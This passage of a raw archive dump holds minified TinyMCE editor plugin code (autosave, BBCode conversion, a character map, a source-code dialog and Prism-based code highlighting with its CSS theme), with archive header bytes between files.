\t]|<br[^>]*>)+?|)</"+n+">|<br>$","i").test(t)}var
u,d,f=e.settings,p=tinymce.util.LocalStorage;u=f.autosave_prefix||"tinymce-autosave-{path}{query}-{id}-",u=u.replace(/\{path\}/g,document.location.pathname),u=u.replace(/\{query\}/g,document.location.search),u=u.replace(/\{id\}/g,e.id),f.autosave_interval=t(f.autosave_interval,"30s"),f.autosave_retention=t(f.autosave_retention,"20m"),e.addButton("restoredraft",{title:"Restore
last
draft",onclick:l,onPostRender:s}),e.addMenuItem("restoredraft",{text:"Restore
last
draft",onclick:l,onPostRender:s,context:"file"}),e.settings.autosave_restore_when_empty!==!1&&(e.on("init",function(){n()&&c()&&o()}),e.on("saveContent",function(){r()})),window.onbeforeunload=tinymce._beforeUnloadHandler,this.hasDraft=n,this.storeDraft=i,this.restoreDraft=o,this.removeDraft=r,this.isEmpty=c});PKS��[YI��@@$tinymce/plugins/bbcode/plugin.min.jsnu�[���!function(){tinymce.create("tinymce.plugins.BBCodePlugin",{init:function(e){var
t=this,n=e.getParam("bbcode_dialect","punbb").toLowerCase();e.on("beforeSetContent",function(e){e.content=t["_"+n+"_bbcode2html"](e.content)}),e.on("postProcess",function(e){e.set&&(e.content=t["_"+n+"_bbcode2html"](e.content)),e.get&&(e.content=t["_"+n+"_html2bbcode"](e.content))})},getInfo:function(){return{longname:"BBCode
Plugin",author:"Ephox
Corp",authorurl:"http://www.tinymce.com",infourl:"http://www.tinymce.com/wiki.php/Plugin:bbcode"}},_punbb_html2bbcode:function(e){function
t(t,n){e=e.replace(t,n)}return
e=tinymce.trim(e),t(/<a.*?href=\"(.*?)\".*?>(.*?)<\/a>/gi,"[url=$1]$2[/url]"),t(/<font.*?color=\"(.*?)\".*?class=\"codeStyle\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"),t(/<font.*?color=\"(.*?)\".*?class=\"quoteStyle\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"),t(/<font.*?class=\"codeStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"),t(/<font.*?class=\"quoteStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"),t(/<span
style=\"color:
?(.*?);\">(.*?)<\/span>/gi,"[color=$1]$2[/color]"),t(/<font.*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[color=$1]$2[/color]"),t(/<span
style=\"font-size:(.*?);\">(.*?)<\/span>/gi,"[size=$1]$2[/size]"),t(/<font>(.*?)<\/font>/gi,"$1"),t(/<img.*?src=\"(.*?)\".*?\/>/gi,"[img]$1[/img]"),t(/<span
class=\"codeStyle\">(.*?)<\/span>/gi,"[code]$1[/code]"),t(/<span
class=\"quoteStyle\">(.*?)<\/span>/gi,"[quote]$1[/quote]"),t(/<strong
class=\"codeStyle\">(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]"),t(/<strong
class=\"quoteStyle\">(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]"),t(/<em
class=\"codeStyle\">(.*?)<\/em>/gi,"[code][i]$1[/i][/code]"),t(/<em
class=\"quoteStyle\">(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]"),t(/<u
class=\"codeStyle\">(.*?)<\/u>/gi,"[code][u]$1[/u][/code]"),t(/<u
class=\"quoteStyle\">(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]"),t(/<\/(strong|b)>/gi,"[/b]"),t(/<(strong|b)>/gi,"[b]"),t(/<\/(em|i)>/gi,"[/i]"),t(/<(em|i)>/gi,"[i]"),t(/<\/u>/gi,"[/u]"),t(/<span
style=\"text-decoration:
?underline;\">(.*?)<\/span>/gi,"[u]$1[/u]"),t(/<u>/gi,"[u]"),t(/<blockquote[^>]*>/gi,"[quote]"),t(/<\/blockquote>/gi,"[/quote]"),t(/<br
\/>/gi,"\n"),t(/<br\/>/gi,"\n"),t(/<br>/gi,"\n"),t(/<p>/gi,""),t(/<\/p>/gi,"\n"),t(/&nbsp;|\u00a0/gi,"
"),t(/&quot;/gi,'"'),t(/&lt;/gi,"<"),t(/&gt;/gi,">"),t(/&amp;/gi,"&"),e},_punbb_bbcode2html:function(e){function
t(t,n){e=e.replace(t,n)}return e=tinymce.trim(e),t(/\n/gi,"<br
/>"),t(/\[b\]/gi,"<strong>"),t(/\[\/b\]/gi,"</strong>"),t(/\[i\]/gi,"<em>"),t(/\[\/i\]/gi,"</em>"),t(/\[u\]/gi,"<u>"),t(/\[\/u\]/gi,"</u>"),t(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,'<a
href="$1">$2</a>'),t(/\[url\](.*?)\[\/url\]/gi,'<a
href="$1">$1</a>'),t(/\[img\](.*?)\[\/img\]/gi,'<img
src="$1"
/>'),t(/\[color=(.*?)\](.*?)\[\/color\]/gi,'<font
color="$1">$2</font>'),t(/\[code\](.*?)\[\/code\]/gi,'<span
class="codeStyle">$1</span>&nbsp;'),t(/\[quote.*?\](.*?)\[\/quote\]/gi,'<span
class="quoteStyle">$1</span>&nbsp;'),e}}),tinymce.PluginManager.add("bbcode",tinymce.plugins.BBCodePlugin)}();PKS��[]�qp

%tinymce/plugins/charmap/plugin.min.jsnu�[���tinymce.PluginManager.add("charmap",function(e){function
t(){return[["160","no-break
space"],["173","soft
hyphen"],["34","quotation
mark"],["162","cent
sign"],["8364","euro
sign"],["163","pound
sign"],["165","yen
sign"],["169","copyright
sign"],["174","registered
sign"],["8482","trade mark
sign"],["8240","per mille
sign"],["181","micro
sign"],["183","middle
dot"],["8226","bullet"],["8230","three
dot leader"],["8242","minutes /
feet"],["8243","seconds /
inches"],["167","section
sign"],["182","paragraph
sign"],["223","sharp s /
ess-zed"],["8249","single left-pointing angle quotation
mark"],["8250","single right-pointing angle quotation
mark"],["171","left pointing
guillemet"],["187","right pointing
guillemet"],["8216","left single quotation
mark"],["8217","right single quotation
mark"],["8220","left double quotation
mark"],["8221","right double quotation
mark"],["8218","single low-9 quotation
mark"],["8222","double low-9 quotation
mark"],["60","less-than
sign"],["62","greater-than
sign"],["8804","less-than or equal
to"],["8805","greater-than or equal
to"],["8211","en dash"],["8212","em
dash"],["175","macron"],["8254","overline"],["164","currency
sign"],["166","broken
bar"],["168","diaeresis"],["161","inverted
exclamation mark"],["191","turned question
mark"],["710","circumflex
accent"],["732","small
tilde"],["176","degree
sign"],["8722","minus
sign"],["177","plus-minus
sign"],["247","division
sign"],["8260","fraction
slash"],["215","multiplication
sign"],["185","superscript
one"],["178","superscript
two"],["179","superscript
three"],["188","fraction one
quarter"],["189","fraction one
half"],["190","fraction three
quarters"],["402","function /
florin"],["8747","integral"],["8721","n-ary
sumation"],["8734","infinity"],["8730","square
root"],["8764","similar
to"],["8773","approximately equal
to"],["8776","almost equal
to"],["8800","not equal
to"],["8801","identical
to"],["8712","element
of"],["8713","not an element
of"],["8715","contains as
member"],["8719","n-ary
product"],["8743","logical
and"],["8744","logical
or"],["172","not
sign"],["8745","intersection"],["8746","union"],["8706","partial
differential"],["8704","for
all"],["8707","there
exists"],["8709","diameter"],["8711","backward
difference"],["8727","asterisk
operator"],["8733","proportional
to"],["8736","angle"],["180","acute
accent"],["184","cedilla"],["170","feminine
ordinal indicator"],["186","masculine ordinal
indicator"],["8224","dagger"],["8225","double
dagger"],["192","A -
grave"],["193","A -
acute"],["194","A -
circumflex"],["195","A -
tilde"],["196","A -
diaeresis"],["197","A - ring
above"],["256","A -
macron"],["198","ligature
AE"],["199","C -
cedilla"],["200","E -
grave"],["201","E -
acute"],["202","E -
circumflex"],["203","E -
diaeresis"],["274","E -
macron"],["204","I -
grave"],["205","I -
acute"],["206","I -
circumflex"],["207","I -
diaeresis"],["298","I -
macron"],["208","ETH"],["209","N -
tilde"],["210","O -
grave"],["211","O -
acute"],["212","O -
circumflex"],["213","O -
tilde"],["214","O -
diaeresis"],["216","O -
slash"],["332","O -
macron"],["338","ligature
OE"],["352","S - caron"],["217","U
- grave"],["218","U -
acute"],["219","U -
circumflex"],["220","U -
diaeresis"],["362","U -
macron"],["221","Y -
acute"],["376","Y -
diaeresis"],["562","Y -
macron"],["222","THORN"],["224","a
- grave"],["225","a -
acute"],["226","a -
circumflex"],["227","a -
tilde"],["228","a -
diaeresis"],["229","a - ring
above"],["257","a -
macron"],["230","ligature
ae"],["231","c -
cedilla"],["232","e -
grave"],["233","e -
acute"],["234","e -
circumflex"],["235","e -
diaeresis"],["275","e -
macron"],["236","i -
grave"],["237","i -
acute"],["238","i -
circumflex"],["239","i -
diaeresis"],["299","i -
macron"],["240","eth"],["241","n -
tilde"],["242","o -
grave"],["243","o -
acute"],["244","o -
circumflex"],["245","o -
tilde"],["246","o -
diaeresis"],["248","o
slash"],["333","o
macron"],["339","ligature
oe"],["353","s - caron"],["249","u
- grave"],["250","u -
acute"],["251","u -
circumflex"],["252","u -
diaeresis"],["363","u -
macron"],["253","y -
acute"],["254","thorn"],["255","y -
diaeresis"],["563","y -
macron"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final
sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef
symbol"],["982","pi
symbol"],["8476","real part
symbol"],["978","upsilon - hook
symbol"],["8472","Weierstrass
p"],["8465","imaginary
part"],["8592","leftwards
arrow"],["8593","upwards
arrow"],["8594","rightwards
arrow"],["8595","downwards
arrow"],["8596","left right
arrow"],["8629","carriage
return"],["8656","leftwards double
arrow"],["8657","upwards double
arrow"],["8658","rightwards double
arrow"],["8659","downwards double
arrow"],["8660","left right double
arrow"],["8756","therefore"],["8834","subset
of"],["8835","superset
of"],["8836","not a subset
of"],["8838","subset of or equal
to"],["8839","superset of or equal
to"],["8853","circled
plus"],["8855","circled
times"],["8869","perpendicular"],["8901","dot
operator"],["8968","left
ceiling"],["8969","right
ceiling"],["8970","left
floor"],["8971","right
floor"],["9001","left-pointing angle
bracket"],["9002","right-pointing angle
bracket"],["9674","lozenge"],["9824","black
spade suit"],["9827","black club
suit"],["9829","black heart
suit"],["9830","black diamond
suit"],["8194","en
space"],["8195","em
space"],["8201","thin
space"],["8204","zero width
non-joiner"],["8205","zero width
joiner"],["8206","left-to-right
mark"],["8207","right-to-left mark"]]}function
n(e){return tinymce.util.Tools.grep(e,function(e){return
l(e)&&2==e.length})}function r(e){return
l(e)?[].concat(n(e)):"function"==typeof e?e():[]}function
i(t){var n=e.settings;return
n.charmap&&(t=r(n.charmap)),n.charmap_append?[].concat(t).concat(r(n.charmap_append)):t}function
o(){return i(t())}function
a(t){e.fire("insertCustomChar",{chr:t}).chr,e.execCommand("mceInsertContent",!1,t)}function
s(){function t(e){for(;e;){if("TD"==e.nodeName)return
e;e=e.parentNode}}var n,r,i,s;n='<table
role="presentation" cellspacing="0"
class="mce-charmap"><tbody>';var
l=o(),c=Math.min(l.length,25),u=Math.ceil(l.length/c);for(i=0;i<u;i++){for(n+="<tr>",r=0;r<c;r++){var
d=i*c+r;if(d<l.length){var
f=l[d],p=f?String.fromCharCode(parseInt(f[0],10)):"&nbsp;";n+='<td
title="'+f[1]+'"><div tabindex="-1"
title="'+f[1]+'" role="button"
data-chr="'+p+'">'+p+"</div></td>"}else
n+="<td
/>"}n+="</tr>"}n+="</tbody></table>";var
m={type:"container",html:n,onclick:function(e){var
n=e.target;/^(TD|DIV)$/.test(n.nodeName)&&t(n).firstChild&&(a(n.getAttribute("data-chr")),e.ctrlKey||s.close())},onmouseover:function(e){var
n=t(e.target);n&&n.firstChild?(s.find("#preview").text(n.firstChild.firstChild.data),s.find("#previewTitle").text(n.title)):(s.find("#preview").text("
"),s.find("#previewTitle").text("
"))}};s=e.windowManager.open({title:"Special
character",spacing:10,padding:10,items:[m,{type:"container",layout:"flex",direction:"column",align:"center",spacing:5,minWidth:160,minHeight:160,items:[{type:"label",name:"preview",text:"
",style:"font-size: 40px; text-align:
center",border:1,minWidth:140,minHeight:80},{type:"label",name:"previewTitle",text:"
",style:"text-align:
center",border:1,minWidth:140,minHeight:80}]}],buttons:[{text:"Close",onclick:function(){s.close()}}]})}var
l=tinymce.util.Tools.isArray;return
e.addCommand("mceShowCharmap",s),e.addButton("charmap",{icon:"charmap",tooltip:"Special
character",cmd:"mceShowCharmap"}),e.addMenuItem("charmap",{icon:"charmap",text:"Special
character",cmd:"mceShowCharmap",context:"insert"}),{getCharMap:o,insertChar:a}});PKS��[f���"tinymce/plugins/code/plugin.min.jsnu�[���tinymce.PluginManager.add("code",function(e){function
t(){var t=e.windowManager.open({title:"Source
code",body:{type:"textbox",name:"code",multiline:!0,minWidth:e.getParam("code_dialog_width",600),minHeight:e.getParam("code_dialog_height",Math.min(tinymce.DOM.getViewPort().h-200,500)),spellcheck:!1,style:"direction:
ltr; text-align:
left"},onSubmit:function(t){e.focus(),e.undoManager.transact(function(){e.setContent(t.data.code)}),e.selection.setCursorLocation(),e.nodeChanged()}});t.find("#code").value(e.getContent({source_view:!0}))}e.addCommand("mceCodeEditor",t),e.addButton("code",{icon:"code",tooltip:"Source
code",onclick:t}),e.addMenuItem("code",{icon:"code",text:"Source
code",context:"tools",onclick:t})});PKS��[]��j��(tinymce/plugins/codesample/css/prism.cssnu�[���/*
http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript
*/
/**
 * prism.js default theme for JavaScript, CSS and HTML
 * Based on dabblet (http://dabblet.com)
 * @author Lea Verou
 */

code[class*="language-"],
pre[class*="language-"] {
	color: black;
	text-shadow: 0 1px white;
	font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu
Mono', monospace;
	direction: ltr;
	text-align: left;
	white-space: pre;
	word-spacing: normal;
	word-break: normal;
	word-wrap: normal;
	line-height: 1.5;

	-moz-tab-size: 4;
	-o-tab-size: 4;
	tab-size: 4;

	-webkit-hyphens: none;
	-moz-hyphens: none;
	-ms-hyphens: none;
	hyphens: none;
}

pre[class*="language-"]::-moz-selection,
pre[class*="language-"] ::-moz-selection,
code[class*="language-"]::-moz-selection,
code[class*="language-"] ::-moz-selection {
	text-shadow: none;
	background: #b3d4fc;
}

pre[class*="language-"]::selection,
pre[class*="language-"] ::selection,
code[class*="language-"]::selection,
code[class*="language-"] ::selection {
	text-shadow: none;
	background: #b3d4fc;
}

@media print {
	code[class*="language-"],
	pre[class*="language-"] {
		text-shadow: none;
	}
}

/* Code blocks */
pre[class*="language-"] {
	padding: 1em;
	margin: .5em 0;
	overflow: auto;
}

:not(pre) > code[class*="language-"],
pre[class*="language-"] {
	background: #f5f2f0;
}

/* Inline code */
:not(pre) > code[class*="language-"] {
	padding: .1em;
	border-radius: .3em;
}

.token.comment,
.token.prolog,
.token.doctype,
.token.cdata {
	color: slategray;
}

.token.punctuation {
	color: #999;
}

.namespace {
	opacity: .7;
}

.token.property,
.token.tag,
.token.boolean,
.token.number,
.token.constant,
.token.symbol,
.token.deleted {
	color: #905;
}

.token.selector,
.token.attr-name,
.token.string,
.token.char,
.token.builtin,
.token.inserted {
	color: #690;
}

.token.operator,
.token.entity,
.token.url,
.language-css .token.string,
.style .token.string {
	color: #a67f59;
	background: hsla(0, 0%, 100%, .5);
}

.token.atrule,
.token.attr-value,
.token.keyword {
	color: #07a;
}

.token.function {
	color: #DD4A68;
}

.token.regex,
.token.important,
.token.variable {
	color: #e90;
}

.token.important,
.token.bold {
	font-weight: bold;
}
.token.italic {
	font-style: italic;
}

.token.entity {
	cursor: help;
}

PKS��[�{w�hOhO(tinymce/plugins/codesample/plugin.min.jsnu�[���!function(e,t){"use
strict";function n(e,t){for(var
n,r=[],o=0;o<e.length;++o){if(n=a[e[o]]||i(e[o]),!n)throw"module
definition dependecy not found:
"+e[o];r.push(n)}t.apply(null,r)}function
r(e,r,i){if("string"!=typeof e)throw"invalid module
definition, module id must be defined and be a
string";if(r===t)throw"invalid module definition, dependencies
must be specified";if(i===t)throw"invalid module definition,
definition function must be
specified";n(r,function(){a[e]=i.apply(null,arguments)})}function
i(t){for(var
n=e,r=t.split(/[.\/]/),i=0;i<r.length;++i){if(!n[r[i]])return;n=n[r[i]]}return
n}function o(n){var
r,i,o,s,l;for(r=0;r<n.length;r++){i=e,o=n[r],s=o.split(/[.\/]/);for(var
c=0;c<s.length-1;++c)i[s[c]]===t&&(i[s[c]]={}),i=i[s[c]];i[s[s.length-1]]=a[o]}if(e.AMDLC_TESTS){l=e.privateModules||{};for(o
in a)l[o]=a[o];for(r=0;r<n.length;r++)delete
l[n[r]];e.privateModules=l}}var
a={};r("tinymce/codesampleplugin/Prism",[],function(){var
e={},t="undefined"!=typeof e?e:"undefined"!=typeof
WorkerGlobalScope&&self instanceof
WorkerGlobalScope?self:{},n=function(){var
e=/\blang(?:uage)?-(?!\*)(\w+)\b/i,n=t.Prism={util:{encode:function(e){return
e instanceof r?new
r(e.type,n.util.encode(e.content),e.alias):"Array"===n.util.type(e)?e.map(n.util.encode):e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/\u00a0/g,"
")},type:function(e){return
Object.prototype.toString.call(e).match(/\[object
(\w+)\]/)[1]},clone:function(e){var
t=n.util.type(e);switch(t){case"Object":var r={};for(var i in
e)e.hasOwnProperty(i)&&(r[i]=n.util.clone(e[i]));return
r;case"Array":return e.map&&e.map(function(e){return
n.util.clone(e)})}return e}},languages:{extend:function(e,t){var
r=n.util.clone(n.languages[e]);for(var i in t)r[i]=t[i];return
r},insertBefore:function(e,t,r,i){i=i||n.languages;var
o=i[e];if(2==arguments.length){r=arguments[1];for(var a in
r)r.hasOwnProperty(a)&&(o[a]=r[a]);return o}var s={};for(var l in
o)if(o.hasOwnProperty(l)){if(l==t)for(var a in
r)r.hasOwnProperty(a)&&(s[a]=r[a]);s[l]=o[l]}return
n.languages.DFS(n.languages,function(t,n){n===i[e]&&t!=e&&(this[t]=s)}),i[e]=s},DFS:function(e,t,r){for(var
i in
e)e.hasOwnProperty(i)&&(t.call(e,i,e[i],r||i),"Object"===n.util.type(e[i])?n.languages.DFS(e[i],t):"Array"===n.util.type(e[i])&&n.languages.DFS(e[i],t,i))}},plugins:{},highlightAll:function(e,t){for(var
r,i=document.querySelectorAll('code[class*="language-"],
[class*="language-"] code, code[class*="lang-"],
[class*="lang-"]
code'),o=0;r=i[o++];)n.highlightElement(r,e===!0,t)},highlightElement:function(r,i,o){for(var
a,s,l=r;l&&!e.test(l.className);)l=l.parentNode;l&&(a=(l.className.match(e)||[,""])[1],s=n.languages[a]),r.className=r.className.replace(e,"").replace(/\s+/g,"
")+"
language-"+a,l=r.parentNode,/pre/i.test(l.nodeName)&&(l.className=l.className.replace(e,"").replace(/\s+/g,"
")+" language-"+a);var
c=r.textContent,u={element:r,language:a,grammar:s,code:c};if(!c||!s)return
void
n.hooks.run("complete",u);if(n.hooks.run("before-highlight",u),i&&t.Worker){var
d=new
Worker(n.filename);d.onmessage=function(e){u.highlightedCode=e.data,n.hooks.run("before-insert",u),u.element.innerHTML=u.highlightedCode,o&&o.call(u.element),n.hooks.run("after-highlight",u),n.hooks.run("complete",u)},d.postMessage(JSON.stringify({language:u.language,code:u.code,immediateClose:!0}))}else
u.highlightedCode=n.highlight(u.code,u.grammar,u.language),n.hooks.run("before-insert",u),u.element.innerHTML=u.highlightedCode,o&&o.call(r),n.hooks.run("after-highlight",u),n.hooks.run("complete",u)},highlight:function(e,t,i){var
o=n.tokenize(e,t);return
r.stringify(n.util.encode(o),i)},tokenize:function(e,t,r){var
i=n.Token,o=[e],a=t.rest;if(a){for(var s in a)t[s]=a[s];delete
t.rest}e:for(var s in t)if(t.hasOwnProperty(s)&&t[s]){var
l=t[s];l="Array"===n.util.type(l)?l:[l];for(var
c=0;c<l.length;++c){var
u=l[c],d=u.inside,f=!!u.lookbehind,p=0,m=u.alias;u=u.pattern||u;for(var
g=0;g<o.length;g++){var h=o[g];if(o.length>e.length)break e;if(!(h
instanceof i)){u.lastIndex=0;var
v=u.exec(h);if(v){f&&(p=v[1].length);var
b=v.index-1+p,v=v[0].slice(p),y=v.length,x=b+y,C=h.slice(0,b+1),w=h.slice(x+1),N=[g,1];C&&N.push(C);var
k=new
i(s,d?n.tokenize(v,d):v,m);N.push(k),w&&N.push(w),Array.prototype.splice.apply(o,N)}}}}}return
o},hooks:{all:{},add:function(e,t){var
r=n.hooks.all;r[e]=r[e]||[],r[e].push(t)},run:function(e,t){var
r=n.hooks.all[e];if(r&&r.length)for(var
i,o=0;i=r[o++];)i(t)}}},r=n.Token=function(e,t,n){this.type=e,this.content=t,this.alias=n};if(r.stringify=function(e,t,i){if("string"==typeof
e)return e;if("Array"===n.util.type(e))return
e.map(function(n){return r.stringify(n,t,e)}).join("");var
o={type:e.type,content:r.stringify(e.content,t,i),tag:"span",classes:["token",e.type],attributes:{},language:t,parent:i};if("comment"==o.type&&(o.attributes.spellcheck="true"),e.alias){var
a="Array"===n.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(o.classes,a)}n.hooks.run("wrap",o);var
s="";for(var l in o.attributes)s+=(s?"
":"")+l+'="'+(o.attributes[l]||"")+'"';return"<"+o.tag+'
class="'+o.classes.join(" ")+'"
'+s+">"+o.content+"</"+o.tag+">"},!t.document)return
t.addEventListener?(t.addEventListener("message",function(e){var
r=JSON.parse(e.data),i=r.language,o=r.code,a=r.immediateClose;t.postMessage(n.highlight(o,n.languages[i],i)),a&&t.close()},!1),t.Prism):t.Prism}();return"undefined"!=typeof
module&&module.exports&&(module.exports=n),"undefined"!=typeof
global&&(global.Prism=n),n.languages.markup={comment:/<!--[\w\W]*?-->/,prolog:/<\?[\w\W]+?\?>/,doctype:/<!DOCTYPE[\w\W]+?>/,cdata:/<!\[CDATA\[[\w\W]*?]]>/i,tag:{pattern:/<\/?[^\s>\/=.]+(?:\s+[^\s>\/=]+(?:=(?:("|')(?:\\\1|\\?(?!\1)[\w\W])*\1|[^\s'">=]+))?)*\s*\/?>/i,inside:{tag:{pattern:/^<\/?[^\s>\/]+/i,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"attr-value":{pattern:/=(?:('|")[\w\W]*?(\1)|[^\s>]+)/i,inside:{punctuation:/[=>"']/}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:/&#?[\da-z]{1,8};/i},n.hooks.add("wrap",function(e){"entity"===e.type&&(e.attributes.title=e.content.replace(/&amp;/,"&"))}),n.languages.xml=n.languages.markup,n.languages.html=n.languages.markup,n.languages.mathml=n.languages.markup,n.languages.svg=n.languages.markup,n.languages.css={comment:/\/\*[\w\W]*?\*\//,atrule:{pattern:/@[\w-]+?.*?(;|(?=\s*\{))/i,inside:{rule:/@[\w-]+/}},url:/url\((?:(["'])(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1|.*?)\)/i,selector:/[^\{\}\s][^\{\};]*?(?=\s*\{)/,string:/("|')(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1/,property:/(\b|\B)[\w-]+(?=\s*:)/i,important:/\B!important\b/i,"function":/[-a-z0-9]+(?=\()/i,punctuation:/[(){};:]/},n.languages.css.atrule.inside.rest=n.util.clone(n.languages.css),n.languages.markup&&(n.languages.insertBefore("markup","tag",{style:{pattern:/<style[\w\W]*?>[\w\W]*?<\/style>/i,inside:{tag:{pattern:/<style[\w\W]*?>|<\/style>/i,inside:n.languages.markup.tag.inside},rest:n.languages.css},alias:"language-css"}}),n.languages.insertBefore("inside","attr-value",{"style-attr":{pattern:/\s*style=("|').*?\1/i,inside:{"attr-name":{pattern:/^\s*style/i,inside:n.languages.markup.tag.inside},punctuation:/^\s*=\s*['"]|['"]\s*$/,"attr-value":{pattern:/.+/i,inside:n.languages.css}},alias:"language-css"}},n.languages.markup.tag)),n.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\w\W]*?\*\//,lookbehind:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0}],string:/(["'])(\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,"class-name":{pattern:/((?:\b(?:class|interface|extends|implements|trait|instanceof|new)\s+)|(?:catch\s+\())[a-z0-9_\.\\]+/i,lookbehind:!0,inside:{punctuation:/(\.|\\)/}},keyword:/\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/,"boolean":/\b(true|false)\b/,"function":/[a-z0-9_]+(?=\()/i,number:/\b-?(?:0x[\da-f]+|\d*\.?\d+(?:e[+-]?\d+)?)\b/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*|\/|~|\^|%/,punctuation:/[{}[\];(),.:]/},n.languages.javascript=n.languages.extend("clike",{keyword:/\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|false|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|true|try|typeof|var|void|while|with|yield)\b/,number:/\b-?(0x[\dA-Fa-f]+|0b[01]+|0o[0-7]+|\d*\.?\d+([Ee][+-]?\d+)?|NaN|Infinity)\b/,"function":/[_$a-zA-Z\xA0-\uFFFF][_$a-zA-Z0-9\xA0-\uFFFF]*(?=\()/i}),n.languages.insertBefore("javascript","keyword",{regex:{pattern:/(^|[^/])\/(?!\/)(\[.+?]|\\.|[^/\\\r\n])+\/[gimyu]{0,5}(?=\s*($|[\r\n,.;})]))/,lookbehind:!0}}),n.languages.insertBefore("javascript","class-name",{"template-string":{pattern:/`(?:\\`|\\?[^`])*`/,inside:{interpolation:{pattern:/\$\{[^}]+\}/,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:n.languages.javascript}},string:/[\s\S]+/}}}),n.languages.markup&&n.languages.insertBefore("markup","tag",{script:{pattern:/<script[\w\W]*?>[\w\W]*?<\/script>/i,inside:{tag:{pattern:/<script[\w\W]*?>|<\/script>/i,inside:n.languages.markup.tag.inside},rest:n.languages.javascript},alias:"language-javascript"}}),n.languages.js=n.languages.javascript,n.languages.c=n.languages.extend("clike",{keyword:/\b(asm|typeof|inline|auto|break|case|char|const|continue|default|do|double|else|enum|extern|float|for|goto|if|int|long|register|return|short|signed|sizeof|static|struct|switch|typedef|union|unsigned|void|volatile|while)\b/,operator:/\-[>-]?|\+\+?|!=?|<<?=?|>>?=?|==?|&&?|\|?\||[~^%?*\/]/,number:/\b-?(?:0x[\da-f]+|\d*\.?\d+(?:e[+-]?\d+)?)[ful]*\b/i}),n.languages.insertBefore("c","string",{macro:{pattern:/(^\s*)#\s*[a-z]+([^\r\n\\]|\\.|\\(?:\r\n?|\n))*/im,lookbehind:!0,alias:"property",inside:{string:{pattern:/(#\s*include\s*)(<.+?>|("|')(\\?.)+?\3)/,lookbehind:!0}}}}),delete
n.languages.c["class-name"],delete
n.languages.c["boolean"],n.languages.csharp=n.languages.extend("clike",{keyword:/\b(abstract|as|async|await|base|bool|break|byte|case|catch|char|checked|class|const|continue|decimal|default|delegate|do|double|else|enum|event|explicit|extern|false|finally|fixed|float|for|foreach|goto|if|implicit|in|int|interface|internal|is|lock|long|namespace|new|null|object|operator|out|override|params|private|protected|public|readonly|ref|return|sbyte|sealed|short|sizeof|stackalloc|static|string|struct|switch|this|throw|true|try|typeof|uint|ulong|unchecked|unsafe|ushort|using|virtual|void|volatile|while|add|alias|ascending|async|await|descending|dynamic|from|get|global|group|into|join|let|orderby|partial|remove|select|set|value|var|where|yield)\b/,string:[/@("|')(\1\1|\\\1|\\?(?!\1)[\s\S])*\1/,/("|')(\\?.)*?\1/],number:/\b-?(0x[\da-f]+|\d*\.?\d+)\b/i}),n.languages.insertBefore("csharp","keyword",{preprocessor:{pattern:/(^\s*)#.*/m,lookbehind:!0}}),n.languages.cpp=n.languages.extend("c",{keyword:/\b(alignas|alignof|asm|auto|bool|break|case|catch|char|char16_t|char32_t|class|compl|const|constexpr|const_cast|continue|decltype|default|delete|do|double|dynamic_cast|else|enum|explicit|export|extern|float|for|friend|goto|if|inline|int|long|mutable|namespace|new|noexcept|nullptr|operator|private|protected|public|register|reinterpret_cast|return|short|signed|sizeof|static|static_assert|static_cast|struct|switch|template|this|thread_local|throw|try|typedef|typeid|typename|union|unsigned|using|virtual|void|volatile|wchar_t|while)\b/,"boolean":/\b(true|false)\b/,operator:/[-+]{1,2}|!=?|<{1,2}=?|>{1,2}=?|\->|:{1,2}|={1,2}|\^|~|%|&{1,2}|\|?\||\?|\*|\/|\b(and|and_eq|bitand|bitor|not|not_eq|or|or_eq|xor|xor_eq)\b/}),n.languages.insertBefore("cpp","keyword",{"class-name":{pattern:/(class\s+)[a-z0-9_]+/i,lookbehind:!0}}),n.languages.java=n.languages.extend("clike",{keyword:/\b(abstract|continue|for|new|switch|assert|default|goto|package|synchronized|boolean|do|if|private|this|break|double|implements|protected|throw|byte|else|import|public|throws|case|enum|instanceof|return|transient|catch|extends|int|short|try|char|final|interface|static|void|class|finally|long|strictfp|volatile|const|float|native|super|while)\b/,number:/\b0b[01]+\b|\b0